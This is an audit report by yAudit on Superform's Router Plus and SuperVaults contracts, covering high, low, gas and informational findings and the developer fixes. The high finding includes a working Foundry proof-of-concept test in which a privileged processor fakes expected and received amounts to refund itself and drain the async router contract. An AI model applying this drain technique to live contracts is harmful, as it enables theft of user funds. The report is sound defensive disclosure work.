yAudit Superform Router Plus and Super Vaults Review

Review Resources:

- Code repositories
- Superform docs

Auditors:

- fedebianu
- Jackson

Table of Contents

Review Summary

Superform Router Plus and Super Vaults

The Superform Router Plus is a set of contracts in the Superform core project that enable rebalance between different Superform positions.

The Superform Super Vaults project implements a Yearn-based vault with a strategy based on multiple Superform positions. It uses the Superform Router Plus contracts to perform rebalances between those positions.

The contracts of the Superform Router Plus Repo and Superform SuperVaults Repo were reviewed over eight days. The code review was performed by two auditors between 2nd October and 11th October 2024. The repository was under active development during the review, but the review was limited to commit f7f06d763a6af148899e9c292f1a57414db60cc3 for Superform Router Plus and commit 99382c369aa68a2e5666e2ee4045f32cd8bc3f3e for Superform Super Vaults.

Scope

The scope of the review consisted of the following contracts at the specific commits.

Superform Router Plus:

```
src
├── interfaces
│   └── IBaseSuperformRouterPlus.sol
│   └── ISuperformRouterPlus.sol
│   └── ISuperformRouterPlusAsync.sol
└── router-plus
    └── BaseSuperformRouterPlus.sol
    └── SuperformRouterPlus.sol
    └── SuperformRouterPlusAsync.sol
```

Superform Super Vaults:

```
src
├── ISuperVault.sol
└── SuperVault.sol
```

After the findings were presented to the Superform team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, TODO_protocol_name and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	Proper access control mechanisms are implemented, ensuring only authorized users or contracts can interact with critical functions.
Mathematics	Good	The mathematical calculations are handled correctly.
Complexity	Average	The new code is well-structured and straightforward in terms of contract logic. However, the overall system is fairly complex.
Libraries	Good	The project effectively uses standard and custom libraries, following best practices in code modularity.
Decentralization	Average	Cross-chain rebalances are designed to be completed by a keeper. The client highlighted this as a critical point in the code that should be investigated.
Code stability	Good	The code appears stable.
Documentation	Average	The comprehensive documentation explains the core functions and overall system architecture of the Superform system but lacks documentation of the new features.
Monitoring	Good	Monitoring mechanisms are in place to track key events and changes within the system.
Testing and verification	Good	The codebase includes unit, fuzz, and invariant testing.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact
  - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings

    - Findings that can improve the gas efficiency of the contracts.
- Informational
    - Findings including recommendations and best practices.

High Findings

1. High - A malicious processor can take advantage of the refund mechanism

`completeCrossChainRebalance()` completes a cross-chain rebalance initiated by the user with `startCrossChainRebalance()`. This function could be called only by an address with a `ROUTER_PLUS_PROCESSOR_ROLE`. As the processor can pass arbitrary data as function arguments to both functions, he can take advantage of the refund mechanism, leading to two possible scenarios:

1. Processor can force unnecessary refunds in `completeCrossChainRebalance()`: passing a specific expectedAmountInterimAsset can force unnecessary refunds on every payload to be processed.
2. The processor can steal all `SuperformRouterPlusAsync` funds: by starting a cross-chain rebalance himself and thus passing a fake `expectedAmountInterimAsset`, he can issue a refund to himself, stealing funds from the `SuperformRouterPlusAsync` contract.

Technical Details

First scenario

When calling `completeCrossChainRebalance()`, the processor can specify `args_.amountReceivedInterimAsset`. This value can be set lower than the expected minimum amount, calculated as: `data.expectedAmountInterimAsset * (ENTIRE_SLIPPAGE - data.slippage)`. Setting this value artificially low can trigger a refund on the processed payload, even if the received funds have passed the intended slippage checks.

Since the superform router handles slippage protection when bringing tokens to the contract, the funds received are already subject to bridge and swap fees by third parties. While completing the rebalance, further slippage protection is needed only to check that the amount specified by the processor is not maliciously lowered. Given this, refunds will not be necessary, and if the slippage checks do not pass, the functions should simply revert.

Second scenario

Starting a rebalance process with `startCrossChainRebalance()`, the processor can craft a fake `expectedAmountInterimAsset`. This can be done because there are no checks to `args.expectedAmountInterimAsset` passed to `startCrossChainRebalance()`. The parameter is finally set here and rescued by `completeCrossChainRebalance()` here.

When then calling `completeCrossChainRebalance()`, he can specify an arbitrary `args_.amountReceivedInterimAsset`.

Given this, he can pass the negative slippage check and enter the refund if block, where he can issue a refund to himself with the fake `data.expectedAmountInterimAsset` amount.

The last step, calling `finalizeRefund()`, he transfers the funds to himself.

Here is a PoC that demonstrates this scenario:

```
function test_PoC_H1() public {
    vm.selectFork(FORKS[SOURCE_CHAIN]);
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    // alice start a cross chain rebalance
    vm.startPrank(alice);

    SingleVaultSFData memory sfData = SingleVaultSFData({
        superformId: superformId1,
        amount: 1e18,
        outputAmount: 1e18,
        maxSlippage: 100,
        liqRequest: LiqRequest({
            txData: "",
            token: getContract(SOURCE_CHAIN, "DAI"),
            interimToken: address(0),
            bridgeId: 0,
            liqDstChainId: SOURCE_CHAIN,
            nativeAmount: 0
        }),
        permit2data: "",
        hasDstSwap: false,
        retain4626: false,
        receiverAddress: address(alice),
        receiverAddressSP: address(alice),
        extraFormData: ""
    });

    IBaseSuperformRouterPlus.XChainRebalanceData memory data =
IBaseSuperformRouterPlus.XChainRebalanceData({
        rebalanceSelector: IBaseRouter.singleDirectSingleVaultDeposit.selector,
        interimAsset: getContract(SOURCE_CHAIN, "DAI"),
        slippage: 100,
        expectedAmountInterimAsset: 1e18,
```

```
        rebalanceToAmbIds: new uint8[][](0),
        rebalanceToDstChainIds: new uint64[](0),
        rebalanceToSfData: abi.encode(sfData)
    });
    vm.stopPrank();

    // simulate call to startCrossChainRebalance
    vm.startPrank(ROUTER_PLUS_SOURCE);
    SuperformRouterPlusAsync(ROUTER_PLUS_ASYNC_SOURCE).setXChainRebalanceCallData(alice,
1, data);
    vm.stopPrank();

    // bob start a cross chain rebalance
    vm.startPrank(bob);
    sfData = SingleVaultSFData({
        superformId: superformId1,
        amount: 1e18,
        outputAmount: 1e18,
        maxSlippage: 100,
        liqRequest: LiqRequest({
            txData: "",
            token: getContract(SOURCE_CHAIN, "DAI"),
            interimToken: address(0),
            bridgeId: 0,
            liqDstChainId: SOURCE_CHAIN,
            nativeAmount: 0
        }),
        permit2data: "",
        hasDstSwap: false,
        retain4626: false,
        receiverAddress: address(bob),
        receiverAddressSP: address(bob),
        extraFormData: ""
    });

    data = IBaseSuperformRouterPlus.XChainRebalanceData({
```

```
        rebalanceSelector: IBaseRouter.singleDirectSingleVaultDeposit.selector,
        interimAsset: getContract(SOURCE_CHAIN, "DAI"),
        slippage: 100,
        expectedAmountInterimAsset: 1e18,
        rebalanceToAmbIds: new uint8[][](0),
        rebalanceToDstChainIds: new uint64[](0),
        rebalanceToSfData: abi.encode(sfData)
    });
    vm.stopPrank();

    // simulate call to startCrossChainRebalance
    vm.startPrank(ROUTER_PLUS_SOURCE);
    SuperformRouterPlusAsync(ROUTER_PLUS_ASYNC_SOURCE).setXChainRebalanceCallData(bob,
2, data);
    vm.stopPrank();

    // processor start a cross chain rebalance
    vm.startPrank(deployer);

    sfData = SingleVaultSFData({
        superformId: superformId1,
        amount: 1e18,
        outputAmount: 1e18,
        maxSlippage: 100,
        liqRequest: LiqRequest({
            txData: "",
            token: getContract(SOURCE_CHAIN, "DAI"),
            interimToken: address(0),
            bridgeId: 0,
            liqDstChainId: SOURCE_CHAIN,
            nativeAmount: 0
        }),
        permit2data: "",
        hasDstSwap: false,
        retain4626: false,
        receiverAddress: address(deployer),
```

```
        receiverAddressSP: address(deployer),
        extraFormData: ""
    });

    data = IBaseSuperformRouterPlus.XChainRebalanceData({
        rebalanceSelector: IBaseRouter.singleDirectSingleVaultDeposit.selector,
        interimAsset: getContract(SOURCE_CHAIN, "DAI"),
        slippage: 100,
        expectedAmountInterimAsset: 4e18, // insert here a fake
expectedAmountInterimAsset
        rebalanceToAmbIds: new uint8[][](0),
        rebalanceToDstChainIds: new uint64[](0),
        rebalanceToSfData: abi.encode(sfData)
    });
    vm.stopPrank();

    // simulate call to startCrossChainRebalance
    vm.startPrank(ROUTER_PLUS_SOURCE);

SuperformRouterPlusAsync(ROUTER_PLUS_ASYNC_SOURCE).setXChainRebalanceCallData(deployer,
3, data);
    vm.stopPrank();

    // simulate transfers to router plus async
    deal(sfData.liqRequest.token, address(ROUTER_PLUS_ASYNC_SOURCE), 3e18);

    // processor complete the rebalance for his payload
    vm.startPrank(deployer);

    // these params are not used because the function will end with a refund
    uint256[][] memory newAmounts = new uint256[][](1);
    newAmounts[0] = new uint256[](1);
    newAmounts[0][0] = 1e18;

    uint256[][] memory newOutputAmounts = new uint256[][](1);
    newOutputAmounts[0] = new uint256[](1);
```

```
    newOutputAmounts[0][0] = 1e18;

    LiqRequest[][] memory liqRequests = new LiqRequest[][](1);
    liqRequests[0] = new LiqRequest[](1);
    liqRequests[0][0] = sfData.liqRequest;

    ISuperformRouterPlusAsync.CompleteCrossChainRebalanceArgs memory completeArgs =
ISuperformRouterPlusAsync
        .CompleteCrossChainRebalanceArgs({
        receiverAddressSP: address(deployer),
        routerPlusPayloadId: 3,
        amountReceivedInterimAsset: 3e18, // insert a fake amountReceivedInterimAsset
        newAmounts: newAmounts,
        newOutputAmounts: newOutputAmounts,
        liqRequests: liqRequests
    });

    SuperformRouterPlusAsync(ROUTER_PLUS_ASYNC_SOURCE).completeCrossChainRebalance{
value: 1 ether }(completeArgs);

    // wait for delay to pass
    vm.warp(block.timestamp + 86_401);

    // finalize his refund stealing all tokens
    uint256 balanceBefore = IERC20(sfData.liqRequest.token).balanceOf(deployer);
    SuperformRouterPlusAsync(ROUTER_PLUS_ASYNC_SOURCE).finalizeRefund(3);
    vm.stopPrank();

    uint256 balanceDiff = IERC20(sfData.liqRequest.token).balanceOf(deployer) -
balanceBefore;
    assertEq(balanceDiff, 3e18);
}
```

Impact

High. A malicious processor can steal all funds from the `SuperformRouterPlusAsync` contract, issuing a refund to himself or disrupting the core functionality of `completeCrossChainRebalance()`.

Recommendation

Remove the refund mechanism from `completeCrossChainRebalance()` and modify it to revert if the slippage check fails. Subsequently, refactor the entire refund system. Consider implementing an external `requestRefund()` function to initiate the refund process that must be followed by an `approveRefund()`. This approach would only isolate refund capabilities to users and the `CORE_STATE_REGISTRY_RESCUER_ROLE` owner.

Developer Response

Fixed in https://github.com/superform-xyz/superform-core/pull/639.

Low Findings

1. Low - Missing checks for `msg.value` in `startCrossChainRebalance()`

`startCrossChainRebalance()` initiates a cross-chain rebalance that the keeper must complete with `completeCrossChainRebalance()`. The total fee is paid throughout the first call and needs to be the sum of `rebalanceFromMsgValue` and `rebalanceToMsgValue`. However, while in the same chain, rebalance functions, there is a check for this scenario; it is absent here.

Technical Details

When calling the superform router in `startCrossChainRebalance()`, `msg.value` is passed under the assumption that it equals the sum of `rebalanceFromMsgValue` and `rebalanceToMsgValue`.

However, there are no checks to ensure this equality. Two scenarios can arise:

1. **Insufficient value**: `msg.value` could be lower than required, potentially even zero. This leads to no fee being passed to the paymaster contract. As a result, the keeper will not execute the transaction on the destination chain.
2. **Excess value**: `msg.value` could be greater than the required fee. In this case, the user loses the excess native sent, which is transferred to the superform paymaster contract.

Impact

Low. Users may need additional steps to move their tokens or lose excess native sent.

Recommendation

Insert `msg.value` checks similar to the ones in `_beforeRebalanceChecks()` and in `_refundUnusedAndResetApprovals()`.

Developer Response

Acknowledged.

2. Low - `deposit4626()` will revert if trying to redeem `stETH`

`deposit4626()` is used to redeem vault assets and deposit them in a superform vault. However, in `_redeemShare()`, there is a strict equality balance check that will always revert in the case of `stETH`.

Technical Details

Lido `stETH` has a known problem with rounding down, as stated in their docs. When trying to redeem `stETH` with `deposit4626()`, the balance check will always fail leading the function to revert.

Impact

Low. It is not possible to use `deposit4626()` with a `stETH` vault and any other token that has similar behaviour.

Recommendation

Avoid using strict equality and insert a tolerance in the balance check to handle the 1-2 wei corner case in the same way you did here.

Developer Response

Fixed in https://github.com/superform-xyz/superform-core/pull/649.

Gas Saving Findings

1. Gas - Optimize for loops

Technical Details

Some loops can be optimized to save gas:

- `_calculateAmounts()`

- `_filterNonZeroWeights()`

Impact

Gas savings.

Recommendation

Optimize for loops by applying these changes:

- don't initialize the loop counter variable, as there is no need to initialize it to zero because it is the default value
- cache the array length outside a loop as it saves reading it on each iteration
- increment `i` variable with `++i` statement

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/pull/7 and https://github.com/superform-xyz/SuperVaults/pull/17.

2. Gas - Fail earlier in `completeCrossChainRebalance()`

Technical Details

In the `completeCrossChainRebalance()` function, an if-else block checks against `data.rebalanceSelector`. However, if none of the conditions in this block are met, the function continues to execute. The subsequent `_deposit` call will fail because none of the router function signatures are matched. It would be more gas-efficient to fail earlier in this scenario.

Impact

Gas savings.

Recommendation

Insert a last else in the if-else block:

```
else {
    revert INVALID_REBALANCE_SELECTOR();
}
```

Developer Response

Fixed in https://github.com/superform-xyz/superform-core/pull/641.

3. Gas - Write an ad hoc `_updateSuperformData()` for single vault deposits

Technical Details

In `completeCrossChainReblance()` the keeper updates the user data with his data. A cast to a `MultiVaultSFData` is an intermediate step in single vault deposits. This is done to have a unified return type from `_updateSuperformData()`. However, it is more gas efficient to write an ad-hoc function for single vault deposit scenarios.

Impact

Gas savings.

Recommendation

Write an `_updateSuperformData()` that returns `SingleVaultSFData` for single vault deposit scenarios. You can then delete `_castToMultiVaultData()` and `_castUint256ToArray()`, as they are no longer necessary.

```
function _updateSuperformData(
    SingleVaultSFData memory sfData,
    LiqRequest memory liqRequest,
    uint256 amount,
    uint256 outputAmount,
    address receiverAddressSP,
    uint256 userSlippage
)
    internal
    pure
    returns (SingleVaultSFData memory)
{
    // Update amounts regardless of txData
    if (ENTIRE_SLIPPAGE * amount < ((sfData.amount * (ENTIRE_SLIPPAGE - userSlippage))))
{
        revert COMPLETE_REBALANCE_AMOUNT_OUT_OF_SLIPPAGE(amount, sfData.amount,
userSlippage);
    }

    if (ENTIRE_SLIPPAGE * outputAmount < ((sfData.outputAmount * (ENTIRE_SLIPPAGE -
userSlippage)))) {
        revert COMPLETE_REBALANCE_OUTPUTAMOUNT_OUT_OF_SLIPPAGE(outputAmount,
sfData.outputAmount, userSlippage);
```

```
    }

    sfData.amount = amount;
    sfData.outputAmount = outputAmount;

    /// @notice if txData is empty, no update is made
    if (liqRequest.txData.length != 0) {
        /// @dev handle txData updates and checks
        if (sfData.liqRequest.token == address(0)) {
            revert COMPLETE_REBALANCE_INVALID_TX_DATA_UPDATE();
        }

        if (sfData.liqRequest.token != liqRequest.token) {
            revert COMPLETE_REBALANCE_DIFFERENT_TOKEN();
        }

        if (sfData.liqRequest.bridgeId != liqRequest.bridgeId) {
            revert COMPLETE_REBALANCE_DIFFERENT_BRIDGE_ID();
        }
        if (sfData.liqRequest.liqDstChainId != liqRequest.liqDstChainId) {
            revert COMPLETE_REBALANCE_DIFFERENT_CHAIN();
        }
        if (sfData.receiverAddressSP != receiverAddressSP) {
            revert COMPLETE_REBALANCE_DIFFERENT_RECEIVER();
        }

        // Update txData and nativeAmount
        sfData.liqRequest.txData = liqRequest.txData;
        sfData.liqRequest.nativeAmount = liqRequest.nativeAmount;
        sfData.liqRequest.interimToken = liqRequest.interimToken;
    }

    return sfData;
}
```

Developer Response

Acknowledged.

4. Gas - Resetting approvals to zero can be omitted

Technical Details

In `rebalance()` and `_freeFunds()` approvals are reset to zero here and here after routerPlus and router calls. However, this is unnecessary because allowances are decreased after routers use their allowance.

Impact

Gas savings.

Recommendation

Remove unnecessary allowance resets.

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/pull/12.

5. Gas - Get the address of the Superform directly

Technical Details

At various places in the `SuperVault` the `getSuperform()` utility function is called. This function gets the Superfrom address, the form implementation ID, and the chain ID for a given Superform ID. However, in the `SuperVault`, only the Superform address is used.

Impact

Gas Savings

Recommendation

Cast the Superform ID to an address directly rather than using the `getSuperform()` utility.

Developer Response

Acknowledged.

Informational Findings

1. Informational - Throw appropriate errors

Technical Details

A wrong error is thrown in `disputeRefund()` when the condition `r.proposedTime == 0` is met. This happens when the refund is already disputed and not when the dispute time has elapsed.

Impact

Informational.

Recommendation

Throw an appropriate error:

```
-        if (r.proposedTime == 0 || block.timestamp > r.proposedTime + _getDelay())
revert Error.DISPUTE_TIME_ELAPSED();
+        if (r.proposedTime == 0) revert Error.REFUND_ALREADY_DISPUTED();
+        if (block.timestamp > r.proposedTime + _getDelay()) revert
Error.DISPUTE_TIME_ELAPSED();
```

Developer Response

This error has been removed due to the refund mechanism refactor.

2. Informational - Remove unused imports

Technical Details

- `SuperformFactory` import is unused.
- `DataTypes` import is unused.

Impact

Informational.

Recommendation

Remove unused imports.

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/pull/10.

3. Informational - MsgValue variables are not needed in SuperVaults

Technical Details

In `rebalance()` `rebalanceFromMsgValue` and `rebalanceToMsgValue` are not needed because the transaction is done in the same chain with the same underlying.

Impact

Informational.

Recommendation

Remove both variables from the process flow.

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/commit/0e02bde141522456100041fbf8c6784c7809a6e6.

4. Informational - `TODO` left in the code

Technical Details

https://github.com/superform-xyz/SuperVaults/blob/99382c369aa68a2e5666e2ee4045f32cd8bc3f3e/src/SuperVault.sol#L486

Impact

Informational.

Recommendation

Make sure all of the todos are done.

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/pull/12.

5. Informational - `refundReceiver` can be removed

Technical Details

In `SuperVault`, a `refundReceiver` variable receives refunds from hypothetical reverts during deposits. However, `SuperVault` doesn't support cross-chain deposits. All deposits are synchronous and revert during failures without needing to emit refunds. This means the `refundReceiver` is not useful and can be removed.

Impact

Informational.

Recommendation

Delete `refundReceiver` and its setter function.

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/pull/12/commits/4c3ff28d99941eb09452cc0612aa8e4f43d375dc.

6. Informational - Fix typos

Technical Details

src/SuperVault.sol#328

```
+        /// @dev thus this function will be unused (we just report full assets)
-        /// @dev thus this function we will be unused (we just report full assets)
```

Impact

Informational.

Recommendation

Fix typos.

Developer Response

Fixed in https://github.com/superform-xyz/SuperVaults/pull/8.

Final Remarks

This audit provides a comprehensive review of the new contracts that will be part of the Superform system. While some issues related to a possible non-trusted keeper must be addressed, the overall code and testing suite demonstrate a solid foundation.